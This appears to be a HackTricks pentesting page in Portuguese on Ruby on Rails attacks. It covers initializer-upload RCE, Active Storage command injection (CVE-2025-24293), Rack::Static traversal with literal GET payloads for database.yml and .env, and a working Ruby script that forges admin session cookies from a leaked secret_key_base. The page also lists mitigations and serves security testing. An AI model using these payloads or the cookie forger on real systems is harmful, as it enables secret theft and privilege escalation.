Truques em Ruby
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Upload de arquivo para RCE
As explained in this article, uploading a .rb
file into sensitive directories such as config/initializers/
can lead to remote code execution (RCE) in Ruby on Rails applications.
Dicas:
- Outros locais de boot/eager-load que são executados na inicialização da app também são arriscados quando graváveis (por exemplo,
config/initializers/
é o clássico). Se você encontrar um upload arbitrário de arquivos que caia em qualquer lugar sobconfig/
e seja posteriormente avaliado/required, pode obter RCE no boot. - Procure builds de dev/staging que copiem arquivos controlados pelo usuário para a imagem do container onde Rails irá carregá-los na inicialização.
Active Storage image transformation → execução de comando (CVE-2025-24293)
Quando uma aplicação usa Active Storage com image_processing
+ mini_magick
, e passa parâmetros não confiáveis para métodos de transformação de imagem, versões do Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podem permitir injeção de comando porque alguns métodos de transformação foram acidentalmente permitidos por padrão.
- Um padrão vulnerável se parece com:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
onde params[:t]
e/ou params[:v]
são controlados pelo atacante.
-
O que tentar durante os testes
-
Identifique quaisquer endpoints que aceitem opções de variant/processing, nomes de transformação ou argumentos arbitrários do ImageMagick.
-
Fuzz
params[:t]
eparams[:v]
em busca de erros suspeitos ou efeitos colaterais de execução. Se você conseguir influenciar o nome do método ou passar argumentos brutos que cheguem ao MiniMagick, pode obter code exec no host do processador de imagens. -
Se você só tem acesso de leitura a variantes geradas, tente exfiltração cega via operações ImageMagick crafted.
-
Remediação/detecções
-
Se você encontrar Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 com Active Storage +
image_processing
+mini_magick
e transformações controladas pelo usuário, considere explorável. Recomende atualizar e aplicar allowlists estritas para métodos/params e uma policy do ImageMagick mais rígida.
Rack::Static LFI / path traversal (CVE-2025-27610)
Se a stack alvo usa Rack middleware diretamente ou via frameworks, versões de rack
anteriores a 2.2.13, 3.0.14 e 3.1.12 permitem Local File Inclusion via Rack::Static
quando :root
não está definido/mal configurado. Traversal codificado em PATH_INFO
pode expor arquivos sob o diretório de trabalho do processo ou um root inesperado.
- Procure apps que montem
Rack::Static
emconfig.ru
ou nas stacks de middleware. Tente traversals codificados contra caminhos estáticos, por exemplo:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Ajuste o prefix para corresponder ao urls:
configurado. Se a app responder com o conteúdo do arquivo, provavelmente você tem LFI para qualquer coisa sob o :root
resolvido.
- Mitigação: atualizar o Rack; garanta que
:root
aponte apenas para um diretório de arquivos públicos e seja explicitamente definido.
Forjar/descriptografar cookies do Rails quando secret_key_base
is leaked
Rails cifra e assina cookies usando chaves derivadas de secret_key_base
. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. Isso frequentemente leva a authz bypass se a app armazenar roles, user IDs, ou feature flags em cookies.
Minimal Ruby para descriptografar e recriptografar cookies modernos (AES-256-GCM, padrão nas versões recentes do Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Notes:
- Aplicações mais antigas podem usar AES-256-CBC e salts
encrypted cookie
/signed encrypted cookie
, ou serializadores JSON/Marshal. Ajuste salts, cipher, e serializer conforme necessário. - Em caso de comprometimento/avaliação, rotacione
secret_key_base
para invalidar todos os cookies existentes.
See also (Ruby/Rails-specific vulns)
- Desserialização em Ruby e class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
- Injeção de template em engines Ruby (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
References
- Anúncio de Segurança do Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.